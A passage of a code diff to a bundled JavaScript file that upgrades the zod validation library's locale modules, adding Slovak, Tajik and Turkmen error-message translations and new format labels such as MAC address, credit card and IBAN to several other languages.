@@ var error38 = () => { duration: "ISO \u0434\u043B\u0438\u0442\u0435\u043B\u044C\u043D\u043E\u0441\u0442\u044C", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + mac: "MAC \u0430\u0434\u0440\u0435\u0441", cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", base64: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64", base64url: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64url", json_string: "JSON \u0441\u0442\u0440\u043E\u043A\u0430", e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u043E\u0439 \u043A\u0430\u0440\u0442\u044B", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u044B", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0432\u043E\u0434" }; @@ -72030,17 +74202,135 @@ var error38 = () => { }; function ru_default() { return { - localeError: error38() + localeError: error46() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sl.js -var error39 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sk.js +var error47 = () => { + const Sizable = { + string: { unit: "znakov", verb: "ma\u0165" }, + file: { unit: "bajtov", verb: "ma\u0165" }, + array: { unit: "prvkov", verb: "ma\u0165" }, + set: { unit: "prvkov", verb: "ma\u0165" }, + map: { unit: "polo\u017Eiek", verb: "ma\u0165" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regul\xE1rny v\xFDraz", + email: "e-mailov\xE1 adresa", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "d\xE1tum a \u010Das vo form\xE1te ISO", + date: "d\xE1tum vo form\xE1te ISO", + time: "\u010Das vo form\xE1te ISO", + duration: "doba trvania ISO", + ipv4: "IPv4 adresa", + ipv6: "IPv6 adresa", + mac: "MAC adresa", + cidrv4: "rozsah IPv4", + cidrv6: "rozsah IPv6", + base64: "re\u0165azec zak\xF3dovan\xFD vo form\xE1te base64", + base64url: "re\u0165azec zak\xF3dovan\xFD vo form\xE1te base64url", + json_string: "re\u0165azec vo form\xE1te JSON", + e164: "\u010D\xEDslo E.164", + credit_card: "\u010D\xEDslo kreditnej karty", + currency_code: "k\xF3d meny", + iban: "IBAN", + jwt: "JWT", + template_literal: "vstup" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u010D\xEDslo", + string: "re\u0165azec", + function: "funkcia", + array: "pole" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 instanceof ${issue2.expected}, obdr\u017Ean\xE9 ${received}`; + } + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 ${expected}, obdr\u017Ean\xE9 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 ${stringifyPrimitive(issue2.values[0])}`; + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE1 jedna z hodn\xF4t ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Hodnota je pr\xEDli\u0161 ve\u013Ek\xE1: ${issue2.origin ?? "hodnota"} mus\xED ma\u0165 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "prvkov"}`; + } + return `Hodnota je pr\xEDli\u0161 ve\u013Ek\xE1: ${issue2.origin ?? "hodnota"} mus\xED by\u0165 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Hodnota je pr\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED ma\u0165 ${adj}${issue2.minimum.toString()} ${sizing.unit ?? "prvkov"}`; + } + return `Hodnota je pr\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED by\u0165 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Neplatn\xFD re\u0165azec: mus\xED za\u010D\xEDna\u0165 na "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Neplatn\xFD re\u0165azec: mus\xED kon\u010Di\u0165 na "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Neplatn\xFD re\u0165azec: mus\xED obsahova\u0165 "${_issue.includes}"`; + if (_issue.format === "regex") + return `Neplatn\xFD re\u0165azec: mus\xED zodpoveda\u0165 vzoru ${_issue.pattern}`; + return `Neplatn\xFD form\xE1t ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Neplatn\xE9 \u010D\xEDslo: mus\xED by\u0165 n\xE1sobkom ${issue2.divisor}`; + case "unrecognized_keys": + return `Nezn\xE1me kl\xFA\u010De: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Neplatn\xFD kl\xFA\u010D v ${issue2.origin}`; + case "invalid_union": + return "Neplatn\xFD vstup"; + case "invalid_element": + return `Neplatn\xE1 hodnota v ${issue2.origin}`; + default: + return `Neplatn\xFD vstup`; + } + }; +}; +function sk_default() { + return { + localeError: error47() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sl.js +var error48 = () => { const Sizable = { string: { unit: "znakov", verb: "imeti" }, file: { unit: "bajtov", verb: "imeti" }, array: { unit: "elementov", verb: "imeti" }, - set: { unit: "elementov", verb: "imeti" } + set: { unit: "elementov", verb: "imeti" }, + map: { unit: "elementov", verb: "imeti" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -72066,12 +74356,16 @@ var error39 = () => { duration: "ISO trajanje", ipv4: "IPv4 naslov", ipv6: "IPv6 naslov", + mac: "MAC naslov", cidrv4: "obseg IPv4", cidrv6: "obseg IPv6", base64: "base64 kodiran niz", base64url: "base64url kodiran niz", json_string: "JSON niz", e164: "E.164 \u0161tevilka", + credit_card: "\u0161tevilka kreditne kartice", + currency_code: "koda valute", + iban: "IBAN", jwt: "JWT", template_literal: "vnos" }; @@ -72140,17 +74434,18 @@ var error39 = () => { }; function sl_default() { return { - localeError: error39() + localeError: error48() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sv.js -var error40 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sv.js +var error49 = () => { const Sizable = { string: { unit: "tecken", verb: "att ha" }, file: { unit: "bytes", verb: "att ha" }, array: { unit: "objekt", verb: "att inneh\xE5lla" }, - set: { unit: "objekt", verb: "att inneh\xE5lla" } + set: { unit: "objekt", verb: "att inneh\xE5lla" }, + map: { unit: "objekt", verb: "att inneh\xE5lla" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -72174,14 +74469,18 @@ var error40 = () => { date: "ISO-datum", time: "ISO-tid", duration: "ISO-varaktighet", - ipv4: "IPv4-intervall", - ipv6: "IPv6-intervall", + ipv4: "IPv4-adress", + ipv6: "IPv6-adress", + mac: "MAC-adress", cidrv4: "IPv4-spektrum", cidrv6: "IPv6-spektrum", base64: "base64-kodad str\xE4ng", base64url: "base64url-kodad str\xE4ng", json_string: "JSON-str\xE4ng", e164: "E.164-nummer", + credit_card: "kreditkortsnummer", + currency_code: "valutakod", + iban: "IBAN", jwt: "JWT", template_literal: "mall-literal" }; @@ -72251,17 +74550,18 @@ var error40 = () => { }; function sv_default() { return { - localeError: error40() + localeError: error49() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ta.js -var error41 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ta.js +var error50 = () => { const Sizable = { string: { unit: "\u0B8E\u0BB4\u0BC1\u0BA4\u0BCD\u0BA4\u0BC1\u0B95\u0BCD\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, file: { unit: "\u0BAA\u0BC8\u0B9F\u0BCD\u0B9F\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, array: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, - set: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" } + set: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, + map: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -72287,12 +74587,16 @@ var error41 = () => { duration: "ISO \u0B95\u0BBE\u0BB2 \u0B85\u0BB3\u0BB5\u0BC1", ipv4: "IPv4 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", ipv6: "IPv6 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", + mac: "MAC \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", cidrv4: "IPv4 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", cidrv6: "IPv6 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", base64: "base64-encoded \u0B9A\u0BB0\u0BAE\u0BCD", base64url: "base64url-encoded \u0B9A\u0BB0\u0BAE\u0BCD", json_string: "JSON \u0B9A\u0BB0\u0BAE\u0BCD", e164: "E.164 \u0B8E\u0BA3\u0BCD", + credit_card: "\u0B95\u0B9F\u0BA9\u0BCD \u0B85\u0B9F\u0BCD\u0B9F\u0BC8 \u0B8E\u0BA3\u0BCD", + currency_code: "\u0BA8\u0BBE\u0BA3\u0BAF\u0B95\u0BCD \u0B95\u0BC1\u0BB1\u0BBF\u0BAF\u0BC0\u0B9F\u0BC1", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -72362,17 +74666,135 @@ var error41 = () => { }; function ta_default() { return { - localeError: error41() + localeError: error50() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/th.js -var error42 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tg.js +var error51 = () => { + const Sizable = { + string: { unit: "\u0430\u043B\u043E\u043C\u0430\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + file: { unit: "\u0431\u0430\u0439\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + array: { unit: "\u0443\u043D\u0441\u0443\u0440", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + set: { unit: "\u0443\u043D\u0441\u0443\u0440", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + map: { unit: "\u0441\u0430\u0431\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0432\u0443\u0440\u0443\u0434", + email: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 email", + url: "URL", + emoji: "\u044D\u043C\u043E\u04B7\u0438", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0441\u0430\u043D\u0430\u0432\u0443 \u0432\u0430\u049B\u0442\u0438 ISO", + date: "\u0441\u0430\u043D\u0430\u0438 ISO", + time: "\u0432\u0430\u049B\u0442\u0438 ISO", + duration: "\u0434\u0430\u0432\u043E\u043C\u043D\u043E\u043A\u0438\u0438 ISO", + ipv4: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 IPv4", + ipv6: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 IPv6", + mac: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 MAC", + cidrv4: "\u043C\u0430\u04B3\u0434\u0443\u0434\u0430\u0438 IPv4", + cidrv6: "\u043C\u0430\u04B3\u0434\u0443\u0434\u0430\u0438 IPv6", + base64: "\u0441\u0430\u0442\u0440\u0438 \u0434\u0430\u0440 \u0444\u043E\u0440\u043C\u0430\u0442\u0438 base64", + base64url: "\u0441\u0430\u0442\u0440\u0438 \u0434\u0430\u0440 \u0444\u043E\u0440\u043C\u0430\u0442\u0438 base64url", + json_string: "\u0441\u0430\u0442\u0440\u0438 JSON", + e164: "\u0440\u0430\u049B\u0430\u043C\u0438 E.164", + credit_card: "\u0440\u0430\u049B\u0430\u043C\u0438 \u043A\u043E\u0440\u0442\u0438 \u043A\u0440\u0435\u0434\u0438\u0442\u04E3", + currency_code: "\u0440\u0430\u043C\u0437\u0438 \u0430\u0441\u044A\u043E\u0440", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0432\u0443\u0440\u0443\u0434" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u0440\u0430\u049B\u0430\u043C", + string: "\u0441\u0430\u0442\u0440", + array: "\u043C\u0430\u0441\u0441\u0438\u0432", + object: "\u043E\u0431\u044A\u0435\u043A\u0442", + date: "\u0441\u0430\u043D\u0430" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: ${expected} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442, ${received} \u0433\u0438\u0440\u0438\u0444\u0442\u0430 \u0448\u0443\u0434`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: ${stringifyPrimitive(issue2.values[0])} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + return `\u0418\u043D\u0442\u0438\u0445\u043E\u0431\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u044F\u043A\u0435 \u0430\u0437 ${joinValues(issue2.values, "|")} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0425\u0435\u043B\u0435 \u043A\u0430\u043B\u043E\u043D: ${issue2.origin ?? "\u049B\u0438\u043C\u0430\u0442"} \u0431\u043E\u044F\u0434 ${adj}${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0425\u0435\u043B\u0435 \u043A\u0430\u043B\u043E\u043D: ${issue2.origin ?? "\u049B\u0438\u043C\u0430\u0442"} \u0431\u043E\u044F\u0434 ${adj}${issue2.maximum.toString()} \u0431\u043E\u0448\u0430\u0434`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0425\u0435\u043B\u0435 \u0445\u0443\u0440\u0434: ${issue2.origin} \u0431\u043E\u044F\u0434 ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0425\u0435\u043B\u0435 \u0445\u0443\u0440\u0434: ${issue2.origin} \u0431\u043E\u044F\u0434 ${adj}${issue2.minimum.toString()} \u0431\u043E\u0448\u0430\u0434`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u043E "${_issue.prefix}" \u043E\u0493\u043E\u0437 \u0448\u0430\u0432\u0430\u0434`; + if (_issue.format === "ends_with") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u043E "${_issue.suffix}" \u0430\u043D\u04B7\u043E\u043C \u0451\u0431\u0430\u0434`; + if (_issue.format === "includes") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 "${_issue.includes}"-\u0440\u043E \u0434\u0430\u0440 \u0431\u0430\u0440 \u0433\u0438\u0440\u0430\u0434`; + if (_issue.format === "regex") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u0430 \u043D\u0430\u043C\u0443\u043D\u0430\u0438 ${_issue.pattern} \u043C\u0443\u0432\u043E\u0444\u0438\u049B\u0430\u0442 \u043A\u0443\u043D\u0430\u0434`; + return `${FormatDictionary[_issue.format] ?? issue2.format}-\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442`; + } + case "not_multiple_of": + return `\u0420\u0430\u049B\u0430\u043C\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u0430 ${issue2.divisor} \u0431\u0435 \u0431\u0430\u049B\u0438\u044F \u0442\u0430\u049B\u0441\u0438\u043C \u0448\u0430\u0432\u0430\u0434`; + case "unrecognized_keys": + return `\u041A\u0430\u043B\u0438\u0434${issue2.keys.length > 1 ? "\u04B3\u043E\u0438" : "\u0438"} \u043D\u043E\u043C\u0430\u044A\u043B\u0443\u043C: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u041A\u0430\u043B\u0438\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442 \u0434\u0430\u0440 ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u049A\u0438\u043C\u0430\u0442\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442\u0438 \u0434\u0438\u0441\u043A\u0440\u0438\u043C\u0438\u043D\u0430\u0442\u043E\u0440: ${opts} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + } + return "\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442"; + case "invalid_element": + return `\u049A\u0438\u043C\u0430\u0442\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442 \u0434\u0430\u0440 ${issue2.origin}`; + default: + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442`; + } + }; +}; +function tg_default() { + return { + localeError: error51() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/th.js +var error52 = () => { const Sizable = { string: { unit: "\u0E15\u0E31\u0E27\u0E2D\u0E31\u0E01\u0E29\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, file: { unit: "\u0E44\u0E1A\u0E15\u0E4C", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, array: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, - set: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" } + set: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, + map: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -72398,12 +74820,16 @@ var error42 = () => { duration: "\u0E0A\u0E48\u0E27\u0E07\u0E40\u0E27\u0E25\u0E32\u0E41\u0E1A\u0E1A ISO", ipv4: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv4", ipv6: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv6", + mac: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 MAC", cidrv4: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv4", cidrv6: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv6", base64: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64", base64url: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64 \u0E2A\u0E33\u0E2B\u0E23\u0E31\u0E1A URL", json_string: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A JSON", e164: "\u0E40\u0E1A\u0E2D\u0E23\u0E4C\u0E42\u0E17\u0E23\u0E28\u0E31\u0E1E\u0E17\u0E4C\u0E23\u0E30\u0E2B\u0E27\u0E48\u0E32\u0E07\u0E1B\u0E23\u0E30\u0E40\u0E17\u0E28 (E.164)", + credit_card: "\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E1A\u0E31\u0E15\u0E23\u0E40\u0E04\u0E23\u0E14\u0E34\u0E15", + currency_code: "\u0E23\u0E2B\u0E31\u0E2A\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19", + iban: "IBAN", jwt: "\u0E42\u0E17\u0E40\u0E04\u0E19 JWT", template_literal: "\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25\u0E17\u0E35\u0E48\u0E1B\u0E49\u0E2D\u0E19" }; @@ -72473,17 +74899,126 @@ var error42 = () => { }; function th_default() { return { - localeError: error42() + localeError: error52() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/tr.js -var error43 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tk.js +var error53 = () => { + const Sizable = { + string: { unit: "simwol", verb: "bolmaly" }, + file: { unit: "ba\xFDt", verb: "bolmaly" }, + array: { unit: "elementler", verb: "bolmaly" }, + set: { unit: "elementler", verb: "bolmaly" }, + map: { unit: "elementler", verb: "bolmaly" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "giri\u015F", + email: "e-po\xE7ta salgysy", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO sene we wagt", + date: "ISO sene", + time: "ISO wagt", + duration: "ISO wagt aralygy", + ipv4: "IPv4 salgysy", + ipv6: "IPv6 salgysy", + mac: "MAC salgysy", + cidrv4: "IPv4 aralygy", + cidrv6: "IPv6 aralygy", + base64: "base64 bilen \u015Fifrlenen setir", + base64url: "base64url bilen \u015Fifrlenen setir", + json_string: "JSON setiri", + e164: "E.164 nomeri", + credit_card: "kredit kartyny\u0148 nomeri", + currency_code: "wal\xFDuta kody", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u015Fablon" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `N\xE4dogry baha: gara\u015Fylan ${expected} \xFDerine ${received} alyndy`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `N\xE4dogry baha: ${stringifyPrimitive(issue2.values[0])} bolmaly`; + return `N\xE4dogry sa\xFDlaw: a\u015Fakdakylardan biri bolmaly: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Has uly: gara\u015Fyl\xFDan ${issue2.origin ?? "baha"} ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + return `Has uly: gara\u015Fyl\xFDan ${issue2.origin ?? "baha"} ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Has ki\xE7i: gara\u015Fyl\xFDan ${issue2.origin} ${adj} ${issue2.minimum.toString()} ${sizing.unit}`; + return `Has ki\xE7i: gara\u015Fyl\xFDan ${issue2.origin} ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `N\xE4dogry setir: "${_issue.prefix}" bilen ba\u015Flamaly`; + if (_issue.format === "ends_with") + return `N\xE4dogry setir: "${_issue.suffix}" bilen gutarmaly`; + if (_issue.format === "includes") + return `N\xE4dogry setir: "${_issue.includes}" saklamaly`; + if (_issue.format === "regex") + return `N\xE4dogry setir: ${_issue.pattern} nusga la\xFDyk bolmaly`; + return `N\xE4dogry ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `N\xE4dogry san: ${issue2.divisor} bilen galyndysyz b\xF6l\xFCnmeli`; + case "unrecognized_keys": + return `Tanalma\xFDan a\xE7ar${issue2.keys.length > 1 ? "lar" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} i\xE7inde n\xE4dogry a\xE7ar`; + case "invalid_union": + return "N\xE4dogry baha"; + case "invalid_element": + return `${issue2.origin} i\xE7inde n\xE4dogry baha`; + default: + return `N\xE4dogry baha`; + } + }; +}; +function tk_default() { + return { + localeError: error53() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tr.js +var error54 = () => { const Sizable = { string: { unit: "karakter", verb: "olmal\u0131" }, file: { unit: "bayt", verb: "olmal\u0131" }, array: { unit: "\xF6\u011Fe", verb: "olmal\u0131" }, - set: { unit: "\xF6\u011Fe", verb: "olmal\u0131" } + set: { unit: "\xF6\u011Fe", verb: "olmal\u0131" }, + map: { unit: "\xF6\u011Fe", verb: "olmal\u0131" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -72509,12 +75044,16 @@ var error43 = () => { duration: "ISO s\xFCre", ipv4: "IPv4 adresi", ipv6: "IPv6 adresi", + mac: "MAC adresi", cidrv4: "IPv4 aral\u0131\u011F\u0131", cidrv6: "IPv6 aral\u0131\u011F\u0131", base64: "base64 ile \u015Fifrelenmi\u015F metin", base64url: "base64url ile \u015Fifrelenmi\u015F metin", json_string: "JSON dizesi", e164: "E.164 say\u0131s\u0131", + credit_card: "kredi kart\u0131 numaras\u0131", + currency_code: "para birimi kodu", + iban: "IBAN", jwt: "JWT", template_literal: "\u015Eablon dizesi" }; @@ -72579,17 +75118,18 @@ var error43 = () => { }; function tr_default() { return { - localeError: error43() + localeError: error54() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uk.js -var error44 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/uk.js +var error55 = () => { const Sizable = { string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, file: { unit: "\u0431\u0430\u0439\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, array: { unit: 